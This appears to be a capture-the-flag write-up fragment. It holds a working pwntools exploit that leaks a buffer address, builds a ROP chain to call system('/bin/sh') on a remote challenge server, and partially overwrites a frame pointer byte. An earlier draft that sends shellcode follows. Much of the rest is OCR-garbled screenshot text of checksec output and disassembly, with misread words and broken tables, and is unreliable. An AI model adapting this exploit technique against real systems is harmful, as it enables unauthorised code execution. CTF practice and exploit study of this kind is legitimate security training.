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Exp：from pwn import *

context(os="linux",arch="amd64",log_level="debug")
elf=ELF("./pwn",checksec=False)
pop_rdi=0x4011F1
ret=0x4011F6
system=elf.plt["system"]

io=remote("nc1.ctfplus.cn",23968)
io.recvuntil(b"Desk stamp: ")
io.recvline()
io.recvuntil(b"Claim check: ")
buf=int(io.recvline().strip(),16)
low=buf&0xff
if low<=0x8f:
    off=0x48
elif low>=0xb8:
    off=0x100-low
payload=flat(
    b"/bin/sh\x00".ljust(off,b"A"),
    0,
    pop_rdi,
    buf,
    ret,
    system,
    word_size=64,
).ljust(0x70,b"B")
io.send(payload)
io.recvuntil(b"night clerk:\n")
io.send(b"D"*0x20+p8((buf+off)&0xff))
io.interactive()
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PS C:\ \34831> wsl
mnt/c/Users/34831$ cd Desktop
:/mnt/c/Users/34831/Desktop$ file pwn
pun: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.s0.2, Buildl
D[sha1]=515388ee8db91708147d3203039faa775e9d9c36, for GNU/Linux 3.2.9, not stripped
:/mnt/c/Users/34831/Desktop$ checksec Lle=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH

Symbols FORTIFY Fortifie
d Fortifiable FILE

) 2

pwn
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mnt/c/Users/34831/Desktop$ file pun

it LSB executab 64, Ve (sYSV), dynamically linked, interpreter ./ld-linux-x86-64.50.2, Buildl
8ee8db91708147d3a03039Faa775 GHU/Lmux , not stripped
:/mnt/c/Users/34831/Desktop$ checks
STACK CANARY NX RPATH RUNPATH Symbols FORTIFY Fortifie
Fortifiable FILE
[ 2

mIDAY1¢7i‘fA”, fEtag_editor3Z{4fread R BFERF it

("The label is smudged. Rewrite it for the night clerk:");

return (vi, I );

BEATHROOESMpop_rdiffiret, $FIY

_unwind {
v pop rdi
.text:00000000004011F2
.text:00000000004011F2
.text:00000000004011F2
.text:00000000004011F2
.text:00000000004011F3
.text:00000000004011F4
.text:00000000004011F4
.text:00000000004011F6
.text:00000000004011F6 ; =============== S UB RO U T I N E
.text:00000000004011F6
.text:00000000004011F6
.text:00000000004011F6 ; void re
.text:00000000004011F6
.text:00000000004011F6 _unwind {
v .text:00000000004011F6 retn
:00000000R04011F6
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B 28 io = remote(host, port)
29 else:

& 30 io = process(binary_path)
31

g 32 def p():
33 pause()
34

ej Implement with Codex

35 #todo

36 pop_rdi=ex4011F1

37 ret=0x4011F6

EL system=0x4011FA

39 io.recvuntil("Desk stamp: ")

40 desk_addr=io.recvuntil("\n",drop=True)
41 print(desk_addr)

42 io.recvuntil("Claim check: ")

43 shellcode_addr=io.recvuntil("\n",drop=True)
44 print(shellcode_addr)

45 io.send(asm(shellcraft.sh()))

46 #f| [l 1ii B fiebp shellcode_addr-4
47

48

49 io.interactive()
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